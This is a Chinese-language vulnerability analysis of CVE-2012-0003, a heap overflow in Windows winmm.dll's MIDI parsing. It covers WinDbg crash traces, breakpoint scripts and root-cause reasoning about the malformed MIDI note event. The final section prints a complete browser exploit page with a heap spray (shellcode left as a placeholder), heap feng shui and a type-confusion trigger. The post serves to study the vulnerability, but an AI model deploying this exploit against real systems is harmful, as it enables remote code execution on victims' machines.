0%

cve-2012-0003 Microsoft Windows Media Player winmm.dll MIDI文件堆溢出漏洞

一、找到漏洞触发函数
windbg附加iexplore.exe,加载POC文件。

1
2
3
4
5
6
7
8
9
10
0:009> g
(bfc.c78): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001d5a2c ebx=00000000 ecx=0c0c0c0c edx=0000003d esi=001be3f8 edi=01776230
eip=7e38dfe8 esp=0012e198 ebp=0012e1a8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\mshtml.dll -
mshtml!CreateHTMLPropertyPage+0x38108:
7e38dfe8 ff5104 call dword ptr [ecx+4] ds:0023:0c0c0c10=????????

程序在该位置中断,可以看到程序在call [ecx+4],且[ecx+4]地址为0c0c0c10,而且调试的程序很容易就想到针对堆溢出的heap spray漏洞利用方法,而且并没有在0c0c0c10申请shellcode导致程序中断。
因此暂时猜测是堆溢出漏洞,通过gflags.exe -i iexplore.exe +hpa开启堆页检测,再次运行IE,加载POC。

1
2
3
4
5
6
7
8
9
0:009> g
(27c.a28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000419 ebx=0000007d ecx=007db29f edx=00000000 esi=07d5b019 edi=07d58f60
eip=76b2d224 esp=07a7fe80 ebp=07a7fea0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b2d224 8a06 mov al,byte ptr [esi] ds:0023:07d5b019=??

访问esi时产生异常,通过栈回溯发现异常发生在WINMM模块。通过IDA分析WINMM.dll文件并跳到漏洞触发位置所在函数,发现漏洞位于midiOutPlayNextPolyEvent函数。

二、分析漏洞触发原因
首先静态分析发现,v25=(v24+v20),而访问v25所指向地址*v25(即mov al,[esi])时导致异常,因此查看v24和v20来源。分析发现该函数中的各个变量都是由dword ptr [edi+?]来分配的,而edi=[ebp+arg_0],也可以认为变量都是由[参数a+偏移值]决定的。
在函数midiOutPlayNextPolyEvent下断点,配合windbg与IDA动静结合进行分析,发现该函数的唯一参数为一个地址,当

dword ptr [edi+34h], 0```
1
2
3
4

成立时,程序进入一个大的循环。前几个循环程序在

```76b2d1f6 cmp dl,90h和76b2d1fe cmp dl,80h

处由于dl(dl=v36=v21&0xF)不等于80h或者90h而导致程序跳过了漏洞触发点,如图7-1所示

分析得出v20值是固定的由参数a决定,v24由v40和v21决定,而v21和v40都由v13决定。为了确定漏洞触发前后各个变量的值,下以下断点用来观察漏洞触发前后v9、v11、v21、v23、v24、v20、v40的值,来看看到底做了哪些操作

1
2
3
4
5
6
7
bp 76b2d096 ".printf \"v9:%x\",[esi+24h];.echo;g"
bp 76b2d0c3 ".printf \"v13=v11&0xFFFFFF=v11:%x\",ecx;.echo;g"
bp 76b2d1d0 ".printf \"v40:%x\",cl;.echo;g"
bp 76b2d1eb ".printf \"v40:%x\",dl;.echo;g"
bp 76b2d1c7 ".printf \"v21:%x\",cl;.echo;g"
bp 76b2d20d ".printf \"v23(%x)=v40(%x)+v21&F<<7(%x)\",edx+eax,edx,eax;.echo;g"
bp 76b2d21e ".printf \"v24=v23/2=%x, v20=%x\",eax,esi;.echo;g"

运行程序并加载poc后输出如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
v21:b9
v40:6
v9:7bd2fe4
v13=v11&0xFFFFFF=v11:7f65b9
v21:b9
v40:65
v9:7bd2fe4
v13=v11&0xFFFFFF=v11:7f64b9
v21:b9
v40:64
v9:7bd2fe4
v13=v11&0xFFFFFF=v11:640bb8
v21:b8
v40:b
v9:7bd2fe4
v13=v11&0xFFFFFF=v11:460bb3
v21:b3
v40:b
v9:7bd2fe4
v13=v11&0xFFFFFF=v11:7db29f
v21:9f
v40:b2
v23(832)=v40(b2)+v21&F<<7(780)
v24=v23/2=419, v20=57e6c00
(674.d50): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000419 ebx=0000007d ecx=007db29f edx=00000000 esi=057e7019 edi=057d6f60
eip=76b2d224 esp=07eefe80 ebp=07eefea0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b2d224 8a06 mov al,byte ptr [esi] ds:0023:057e7019=??

可以看出几个变量之间的关系。
最后调用的(v24+v20)访问异常。
v20=v1+132=57e6c00
V24=v23/2
v23=v40+v21&F<<7,v40等于v13的倒数第二字节决定,v21等于v13的最后一字节决定。查看堆情况如图7-2,发现57e6c00为堆起始地址(v20),堆大小为400h,而v24=419h>400h,因此v20+v24=057e7019导致了堆的越界访问。
那我们再回过头来总分析一下当v13=7db29f,v40=2b,v21=9f时,因为v21=9f使程序进入访问
(v20+v24)的条件语句成立,而v24=(v40+v21&F<<7)/2=419超过了400,也就是说v40即v13的倒数第二字节大于80h(80h+780h)/2=400)时,导致了堆的越界访问。
PS:这里v21=8F话同样会使程序访问*(v20+v24),只要v40大于80h。
这里我们再看一下v20(v1+132)的来源,通过IDA的交叉引用功能可以看到midioutplaynextolyevent由midiouttimertick调用,反汇编midiouttimertick,发现调用midioutplaynextolyevent时传入的参数等于gpEmuList,通过交叉引用功能看到gpEmulist会在mseopen和mseclose中被调用,最后可以再mseopen里看到gpEmuList对赋值,其中gpEmuList=v5,v5+132=v6,而v6=winmmAlloc(0x400u),因此用来索引的v20为申请400H大小的堆地址。
这里我们已经发现导致异常发生的关键就是v13=7db29f,分析poc发现加载了toto.mid文件,用010edit分析toto.mid文件如图
7-37-4
可以看到track[4]-message[9]-m_status=9f即v21,track[4]-message[9]-m_note=b2即v40,
参考midi文件格式

midi文件格式介绍(中文),
rfc6295标准

对比midi文件知道7db29f中7d为速度,b2为音符号,9F为事件类型(音符打开)且通道号F,而WINMM.dll处理音符打开时,会读取(参数+通道号128+音符号)的值,如果(通道号*128+音符号)>400h则会导致堆的越界访问。
到这里位置只是堆的越界访问,并不能直接利用。而程序接下来的行为如图7-47-4
当v40即音符号不等于0且读取到的值的低位字节不等于15则读取到的值加1,这个越界访问到的值加1怎么能导致任意代码执行呢。

三、漏洞利用
让我们看看vupen组织怎么通过只控制一字节的情况下,稳定利用漏洞(这个其实书里讲的很清楚,这里我们再动手做一遍加深印象和理解)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141

<html>
<head>
<script language='javascript'> <!--先申请构造nopsled+shellcode+nopsled结构的内存-->


var chunk_size, payload, nopsled;

chunk_size = 0x100000;
payload = unescape("shellcode");
nopsled = unescape("%u0c0c%u0c0c");
while (nopsled.length < chunk_size)
nopsled += nopsled;
nopsled_len = chunk_size - (payload.length + 20);
nopsled = nopsled.substring(0, nopsled_len);
heap_chunks = new Array();
for (var i = 0 ; i < 0x100 ; i++)
heap_chunks[i] = nopsled + payload;

</script>
<script language='javascript'>

var selob = document.createElement("select") <!--创建select元素selob-->
selob.w0 = alert <!--为selob设置64个属性,其中w1为string-->
selob.w1 = unescape("%u1be4%u0c0c")
selob.w2 = alert
selob.w3 = alert
selob.w4 = alert
selob.w5 = alert
selob.w6 = alert
selob.w7 = alert
selob.w8 = alert
selob.w9 = alert
selob.w10 = alert
selob.w11 = alert
selob.w12 = alert
selob.w13 = alert
selob.w14 = alert
selob.w15 = alert
selob.w16 = alert
selob.w17 = alert
selob.w18 = alert
selob.w19 = alert
selob.w20 = alert
selob.w21 = alert
selob.w22 = alert
selob.w23 = alert
selob.w24 = alert
selob.w25 = alert
selob.w26 = alert
selob.w27 = alert
selob.w28 = alert
selob.w29 = alert
selob.w30 = alert
selob.w31 = alert
selob.w32 = alert
selob.w33 = alert
selob.w34 = alert
selob.w35 = alert
selob.w36 = alert
selob.w37 = alert
selob.w38 = alert
selob.w39 = alert
selob.w40 = alert
selob.w41 = alert
selob.w42 = alert
selob.w43 = alert
selob.w44 = alert
selob.w45 = alert
selob.w46 = alert
selob.w47 = alert
selob.w48 = alert
selob.w49 = alert
selob.w50 = alert
selob.w51 = alert
selob.w52 = alert
selob.w53 = alert
selob.w54 = alert
selob.w55 = alert
selob.w56 = alert
selob.w57 = alert
selob.w58 = alert
selob.w59 = alert
selob.w60 = alert
selob.w61 = alert
selob.w62 = alert
selob.w63 = alert

var clones=new Array(1000); <!--创建数组clones,大小为1000-->

function feng_shui() {


var i = 0;
while (i < 1000) {
clones[i] = selob.cloneNode(true)
i = i + 1;
} <!--将selob复制到clones数组中-->

var j = 0;
while (j < 1000) {
delete clones[j];
CollectGarbage();
j = j + 2;
} <!--间隔删除clones数组中的元素-->

}

feng_shui();

function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w1) == "string") {
} else {
clones[k].w1('come on!');
}
k = k - 2;
}
feng_shui(); <!---->
document.audio.Play(); <!--调用恶意构造的MIDI,而winmm.dll处理MIDI message时会申请400h大小的堆空间,正好命中我们精心构造的clones数组,当碰到速度为7d,音符号为b2,事件类型为音符打开且通道号为F时,造成堆溢出,更改419处的值加1即clones数组中某一个元素的下一个元素的偏移19的位置,而该位置正好是w1属性类型的定义为string(0X08),加一变为object(0X090)-->
}


</script>
<script for=audio event=PlayStateChange(oldState,newState)>
if (oldState == 3 && newState == 0) {
trigger();
}
</script>
</head>
<body>
<object ID="audio" WIDTH=1 HEIGHT=1 CLASSID="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95">
<param name="fileName" value="test_case.mid">
<param name="SendPlayStateChangeEvents" value="true">
<param NAME="AutoStart" value="True">
<param name="uiMode" value="mini">
<param name="Volume" value="-300">
</object>
</body>
</html>